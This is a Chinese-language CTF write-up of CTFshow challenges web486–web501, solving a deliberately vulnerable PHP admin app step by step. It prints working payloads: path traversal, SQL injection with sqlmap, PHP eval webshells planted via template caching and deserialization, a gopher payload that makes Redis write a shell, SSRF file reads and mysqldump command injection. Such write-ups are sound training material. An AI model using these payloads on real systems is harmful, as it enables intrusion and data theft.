CTFSHOW 中期测评(一) web486 - web501
题目列表
web486
打开之后发现是个登录框,PATH为/index.php?action=login
尝试修改/index.php?action=login
为/index.php?action=1
,发生报错
由报错内容可知网站可能存在文件包含漏洞,尝试进行目录穿越读取flag
1 | /index.php?action=../flag |
访问源码得到flag
web487
修改/index.php?action=login
为/index.php?action=../index
,可以查看源码
存在SQL注入漏洞,而且没有过滤,测试后发现没有回显,用时间盲注
先验证一下
1 | /index.php?action=check&username=1&password=') or sleep(3)--+ |
没有问题
这里用sqlmap去跑结果了,省点时间
1 | python sqlmap.py -u "https://39dc9317-0164-419c-ac40-b3d76de931e5.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump |
web488
打开题目之后,也是跟之前一样读取index代码
1 | /index.php?action=../index |
sql那里两个参数都被md5包裹了,不能用sql注入做了。继续往下分析,可以看到有个templateUtil::render('error',array('username'=>$username))
,暂时不知道templateUtil
类和render
函数有何用处
同时看到上面include
了两个php文件
通过目录穿越读取这两个文件代码分析后,发现 render_class.php
有用,db_class.php
则是数据库的一些连接配置,暂时用不到
1 | /index.php?action=../render/render_class |
可以看到里面定义了render
函数和shade
函数,其中render
函数我们重点关注以下代码
1 | else{ |
$templateContent
获取templates/$template.php
页面返回的内容,然后$cache
调用shade
函数替换$templateContent
中的字符串,把{{username}}
替换为传入的数组key:value
中的value值,最后再调用cache
类中的create_cache
函数
上面可以看到包含了cache_class.php
,我们继续看看create_cache
函数有什么作用
1 | /index.php?action=../render/cache_class |
create_cache
函数先检查是否存在文件cache/md5($template).php
,如果没有则创建一个php文件,并把$content
写进去,其中$content
我们可以控制,且$template
也是固定的,那就很简单了
利用链:
1 | templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write() |
我们看看index
关键代码
1 | if($action=='check'){ |
$user
不存在时就会进入else语句,然后传入$template
为 error,数组为[username: 任意内容]
。我们可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282
,文件会上传到
1 | cache/cb5e100e5a9a3e7f6d1fd97512215282.php |
要注意如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php
就已经存在了,后面再查询就会返回true,无法再进入create_cache
函数的else分支,也就无法再写入webshell了,这种情况只能重开靶机,这一点要注意
可以输入/index.php?action=error
测试一下,访问templates/error.php
,可以看到页面返回{{username}}不存在
,正好符合条件,可以把{{username}}
置换为我们传入的任意内容
重开靶机,然后GET传入payload
1 | /index.php?action=check&username=<?php eval($_POST[1]);?>&password=123 |
显示不存在即为成功
然后蚁剑连接,路径为cache/cb5e100e5a9a3e7f6d1fd97512215282.php
,要注意把https改成http
在根目录找到flag
web489
继续看index代码
1 | /index.php?action=../index |
可以看到else分支改了,不能上传内容到error那里了,但是题目给出了关键代码extract($_GET)
,意思是将 $_GET
数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发templateUtil::render('index',array('username'=>$username))
,效果跟上题一样
这次题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear
来清除cache目录,这样就不用重启靶机了
1 | if($action=='clear'){ |
方法跟上题差不多,不过payload要改成
1 | /index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1; |
通过变量覆盖使if永真,然后读取的位置从error变成了index,其他一样
在根目录找到flag
web490
先来看看index代码,方法跟之前一样
我们关注重点以下代码
1 | if($action=='check'){ |
sql语句变了,username
那里没有md5包裹了,然后render('index',array('username'=>$username));
变成了render('index',array('username'=>$user->username));
那好办,方法跟之前一样,只不过这次通过sql注入改变查询的username
的值,使后面的$user->username
能返回我们想要的值
但是一开始输入payload
1 | /index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1 |
会发现莫名其妙返回了一个?>
查看/cache/6a992d5529f459a44fee58c733255e86.php
,发现页面显示语法错误
那估计大概率是字符串替换后本身就已经被php标签包裹了,所以多出来的?>
就显示在页面上了。后面发现/index.php?action=index
可以看到传入后的代码,也验证了猜想
那我们修改一下代码,先输入/index.php?action=clear
清空缓存,再传入payload,后面的题目如果有输入过username这些,记得一定要先清空cache,不然内容写不进去
1 | /index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1 |
蚁剑连接,在根目录找到flag
web491
继续分析代码
被修复了,不能用之前的方法写入webshell了,但是username那边没有md5包裹,可以用SQL注入获取flag
payload:
1 | /index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1 |
然后目录穿越读取flag
web492
先看代码
这个多了一个正则,然后上题的templateUtil::render('index')
改回templateUtil::render('index',$user)
,可以继续用之前的方法
payload:
1 | /index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?> |
大概思路就是利用extract($_GET);
污染变量,然后username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user)
,后面的步骤跟之前一样,也是通过字符串替换写入webshell
然后蚁剑连接读取flag
web493
先看代码
因为下面的render只传入了$template
,没有传入数组参数,所以不能走这条路。然后SQL那里又有正则限制,不能出现符号,所以也无法进行SQL注入,但是上面出现了关键代码
1 | if(!isset($action)){ |
那我们可以用反序列化来做这题,读取上面的render/db_class.php
1 | /index.php?action=../render/db_class |
得到代码
1 |
|
构建反序列化payload
1 |
|
得到结果为
1 | O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D |
然后cookie写入payload,记得要满足if(!isset($action))
,把action参数删去就可以
然后蚁剑连接
web494
先看代码
一开始看到templateUtil::render('index',$user)
,我以为可以继续用之前的方法,但是后面连接webshell怎么都连不上,读取/render/cache_class.php
代码之后发现php后缀改成html后缀了,那没办法了
反序列化那里加了if(preg_match('/\:|\,/', $c)){
来过滤,不过不影响,继续用上题的反序列化方法
payload:
1 |
|
结果
1 | O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D |
然后cookie传入,蚁剑连接webshell,找了一会找不到flag,那连接数据库看看,先读取/render/db_class.php
查看数据库配置信息
然后蚁剑连接
读取flag
web495
核心代码没有变
1 | if(!isset($action)){ |
可以继续用上题的方法,flag在数据库
web496
查看代码
发现反序列化代码被注释了,然后SQL正则那里多了一些过滤,可以用万能密码登录系统
1 | 账号:'||1=1# |
进去后点击基本资料,可以看到管理员信息修改
查看网页源码,发现是通过POST发送请求到api/admin_edit.php
我们查看api/admin_edit.php
的源码,GET请求/index.php?action=../api/admin_edit
可以看到有个update语句,然后下面有修改成功和失败的文本信息。那我们的思路就是写个脚本,先用万能密码登录保持登录状态,然后在user[username]
数组里写payload进行布尔盲注,同时要保证nickname
不重复
payload:
1 | import requests |
运行脚本得到flag
web497
查看代码
$user=unserialize($c)
的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号,那我们不走这个方法,继续用万能密码登录系统,账号'||1=1#
,密码1
然后点击基本信息,发现头像处可以修改
直接file协议读取flag文件,存在SSRF漏洞
1 | file:///flag |
修改成功后右键点击头像,选择在新标签页中打开图像,成功读到flag
web498
也是上一题的方法,读/etc/passwd
可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录
刚好看到/etc/passwd
里面有个redis
,输入dict://127.0.0.1:6379
探测端口开放情况
用Gopher协议打SSRF就可以,工具Gopherus
1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
然后访问/shell.php
,查看根目录
读取flag
web499
头像地址没了,SSRF打不通
随便点了一下,发现系统配置可以打开
查看源代码,发现有个api/admin_settings.php
路径
查看api/admin_settings.php
源码
关键代码
1 | if($user){ |
它会把POST传进来的键值对放入数组,然后写入文件config/settings.php
,我们看看config/settings.php
源码
刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马
可以看到木马已经成功写入
蚁剑连接
在根目录找到flag
web500
上题的代码改了,不是写到php文件了,那我们换个方法
回到管理页面点了一通,发现数据库备份可以打开
查看源码,发现其POST请求发送到api/admin_db_backup.php
,那我们读取源码看看
关键代码shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path)
,那我们可以拼接命令读取flag
payload:
1 | ;cat /f*>/var/www/html/1.txt |
然后访问1.txt
读取flag
web501
这次修改名称的地方不见了
查看代码,发现其多了个正则匹配
因为前面有个extract($_POST)
,然后数据库备份的源码写了POST请求的目标地址
那我们可以直接向目标地址发送POST请求执行命令
然后访问/1.txt
读取flag
CTFSHOW 中期测评(一) web486 - web501
https://waynejoon.github.io/posts/ctfshow-mid-term-assessment-web486-web501/